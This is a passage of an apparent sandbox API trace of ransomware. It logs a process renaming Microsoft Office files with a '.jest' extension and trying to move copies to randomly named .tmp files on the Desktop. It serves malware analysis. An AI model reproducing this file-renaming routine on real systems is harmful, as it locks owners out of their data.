files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg.jest")) returned 1 [0170.286] VarBstrFromR4 (in: fltIn=0x479459ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.85") returned 0x0 [0170.287] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DIiZuL_H3yJfpVMMxYwidTxzH3zMGw3DjsOAozgD6kU6rSIa8DTlOceaL2NS19XJjBVb9rL_p LqlWhPi4IHozRK-8ExC6VO8fv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\diizul_h3yjfpvmmxywidtxzh3zmgw3djsoaozgd6ku6rsia8dtloceal2ns19xjjbvb9rl_p lqlwhpi4ihozrk-8exc6vo8fv.tmp")) returned 0 [0170.287] GetLastError () returned 0x2 [0170.287] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.289] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg.jest")) returned 1 [0170.291] VarBstrFromR4 (in: fltIn=0x479459ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.85") returned 0x0 [0170.292] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9GAY_6LOGmj0lesMmogdd6y0R 2FHlzneHFa0pZWJrgXwJHfEYs2GpwYqhES7G0DDddwWEgppoi6CC2rYj59jhq4g5khZNghK0Pyp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9gay_6logmj0lesmmogdd6y0r 2fhlznehfa0pzwjrgxwjhfeys2gpwyqhes7g0ddddwwegppoi6cc2ryj59jhq4g5khznghk0pyp.tmp")) returned 0 [0170.292] GetLastError () returned 0x2 [0170.293] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.294] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml.jest")) returned 1 [0170.296] VarBstrFromR4 (in: fltIn=0x479459ed, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.85") returned 0x0 [0170.297] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ yKJBu9oI9tk2Kg3WLPW-fy6c2rhMjTDlYRUDz0BFyYz5HBXLHsvQzHRhb65FL_rC2Q3nYoH1_Pv3jWIZpybwHo_hDK859V8Rb u.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ ykjbu9oi9tk2kg3wlpw-fy6c2rhmjtdlyrudz0bfyyz5hbxlhsvqzhrhb65fl_rc2q3nyoh1_pv3jwizpybwho_hdk859v8rb u.tmp")) returned 0 [0170.297] GetLastError () returned 0x2 [0170.298] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.298] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis.css.jest")) returned 1 [0170.301] VarBstrFromR4 (in: fltIn=0x479459ef, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.87") returned 0x0 [0170.302] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2h4ZC 6SAfLHyNRxMu7n9hDwjbRp24gB2vj-CiWH3qQDhFpkOWel_lmVJWurgbUNZv6MGnmdtDry_3qr9IlyXjYxjpxW7f6v7zhD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2h4zc 6saflhynrxmu7n9hdwjbrp24gb2vj-ciwh3qqdhfpkowel_lmvjwurgbunzv6mgnmdtdry_3qr9ilyxjyxjpxw7f6v7zhd.tmp")) returned 0 [0170.302] GetLastError () returned 0x2 [0170.303] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="˞\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.304] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ˤ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.305] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.306] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\OliveGreen.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\olivegreen.css.jest")) returned 1 [0170.309] VarBstrFromR4 (in: fltIn=0x479459ef, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.87") returned 0x0 [0170.310] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p7kPltCz2p23kYcMyvM9hbk1G_r3Yu1VBMnbeS3cfRzD9XtqVNhIE97QrB10Hb_FHoBdSOXSIJ3L6yVNOjve8ly4msxsvrrwMIi1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p7kpltcz2p23kycmyvm9hbk1g_r3yu1vbmnbes3cfrzd9xtqvnhie97qrb10hb_fhobdsoxsij3l6yvnojve8ly4msxsvrrwmii1.tmp")) returned 0 [0170.310] GetLastError () returned 0x2 [0170.311] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.315] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml.jest")) returned 1 [0170.317] VarBstrFromR4 (in: fltIn=0x479459f1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.88") returned 0x0 [0170.318] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nJ4QgC_wHrqIk7b KyrYRs4DSkbNshXpKSe_qzrvO5lrsSWSDfAgF3DIjYxXpOxz8nejPv1dWLy rX2GlETfS61rWJagcpgl8U5M.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nj4qgc_whrqik7b kyryrs4dskbnshxpkse_qzrvo5lrsswsdfagf3dijyxxpoxz8nejpv1dwly rx2gletfs61rwjagcpgl8u5m.tmp")) returned 0 [0170.318] GetLastError () returned 0x2 [0170.319] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﰤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.321] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml.jest")) returned 1 [0170.325] VarBstrFromR4 (in: fltIn=0x479459f1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.88") returned 0x0 [0170.326] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ iO0Jzei6CYkpKHWM58Q5d7kBho7Dw qzMQNI_6cr vjQg7WpT4sToa egdnRJYR oTIt52xtndiy7BgxA0RsgQXi1efWOWTpZXfu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ io0jzei6cykpkhwm58q5d7kbho7dw qzmqni_6cr vjqg7wpt4stoa egdnrjyr otit52xtndiy7bgxa0rsgqxi1efwowtpzxfu.tmp")) returned 0 [0170.326] GetLastError () returned 0x2 [0170.327] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.346] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM.jest" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm.jest")) returned 1 [0170.349] VarBstrFromR4 (in: fltIn=0x479459f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.91") returned 0x0 [0170.355] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2AGwKMyDSR4UISHIty8Xqvr8UliVzLnynROu1HSn3uI7gQ BaJcrMkiUkiTLDQqYEBZeEXvUWvQu4FGlt6hap4jZ7_ydoK56eZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2agwkmydsr4uishity8xqvr8ulivzlnynrou1hsn3ui7gq bajcrmkiukitldqqyebzeexvuwvqu4fglt6hap4jz7_ydok56ez.tmp")) returned 0 [0170.355] GetLastError () returned 0x2 [0170.356] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="̛\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.357] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="̝\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.358] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.359] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg.jest")) returned 1 [0170.362] VarBstrFromR4 (in: fltIn=0x479459f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.93") returned 0x0 [0170.364] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\No9qa8sfBrdGGdZRpgy6GgtIAL3TAmLJpr2Cc_FSXyBhhnJ8HA2UbL0iaA1md5JNlrX3W_12_ Ru4dnbjdXPfrzf8qsUW9Pgfa7AG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\no9qa8sfbrdggdzrpgy6ggtial3tamljpr2cc_fsxybhhnj8ha2ubl0iaa1md5jnlrx3w_12_ ru4dnbjdxpfrzf8qsuw9pgfa7ag.tmp")) returned 0 [0170.365] GetLastError () returned 0x2 [0170.365] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.366] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml.jest")) returned 1 [0170.368] VarBstrFromR4 (in: fltIn=0x479459f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.93") returned 0x0 [0170.370] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_sfarG8uEnem8BOTJ_hvC69WxL_9FCUJo5ZYd5mv12dBzgloPxGJz CQTwldq3SX6zMF PGGeotA2r71R24iUeYynk6uOBAgq9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_sfarg8uenem8botj_hvc69wxl_9fcujo5zyd5mv12dbzglopxgjz cqtwldq3sx6zmf pggeota2r71r24iueyynk6uobagq9.tmp")) returned 0 [0170.370] GetLastError () returned 0x2 [0170.370] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="и\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.371] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.jest")) returned 1 [0170.373] VarBstrFromR4 (in: fltIn=0x479459f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.93") returned 0x0 [0170.381] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4Oq3vGu3FH7GDzef5CyOuAxi09NE5vbXa3r_5VtUa6wzR7oIGaWAmrFYAKq7VIy-mYdnRQvOocB8buhTSAmKkN6iwvsKse2ysIf9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4oq3vgu3fh7gdzef5cyouaxi09ne5vbxa3r_5vtua6wzr7oigawamrfyakq7viy-mydnrqvoocb8buhtsamkkn6iwvskse2ysif9.tmp")) returned 0 [0170.382] GetLastError () returned 0x2 [0170.383] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.383] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg.jest")) returned 1 [0170.386] VarBstrFromR4 (in: fltIn=0x479459f9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.95") returned 0x0 [0170.387] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eeb0NH6J1LQ0m_aBvys-Jb1OgUEvdPp6pGjeWhrNUPP7fHYEozYD2ZHzidIilWByuJX-DMT6NQTfthJm3tR60yExjHZh yY3t4phw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eeb0nh6j1lq0m_abvys-jb1oguevdpp6pgjewhrnupp7fhyeozyd2zhzidiilwbyujx-dmt6nqtfthjm3tr60yexjhzh yy3t4phw.tmp")) returned 0 [0170.387] GetLastError () returned 0x2 [0170.389] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl012.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl012.xml.jest")) returned 1 [0170.392] VarBstrFromR4 (in: fltIn=0x479459fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.96") returned 0x0 [0170.394] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl012.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\noweVuevd2AEuA_CZ6EmwvRalS8bq9TwylPvYH3vD3U6WRKlK5OL5X7mo57dYzLei74FGx4ModrVgpoCx7_PoTgE1ueQeJBnghSD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nowevuevd2aeua_cz6emwvrals8bq9twylpvyh3vd3u6wrklk5ol5x7mo57dyzlei74fgx4modrvgpocx7_potge1ueqejbnghsd.tmp")) returned 0 [0170.394] GetLastError () returned 0x2 [0170.394] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.395] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl016.xml.jest")) returned 1 [0170.397] VarBstrFromR4 (in: fltIn=0x479459fb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.96") returned 0x0 [0170.400] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 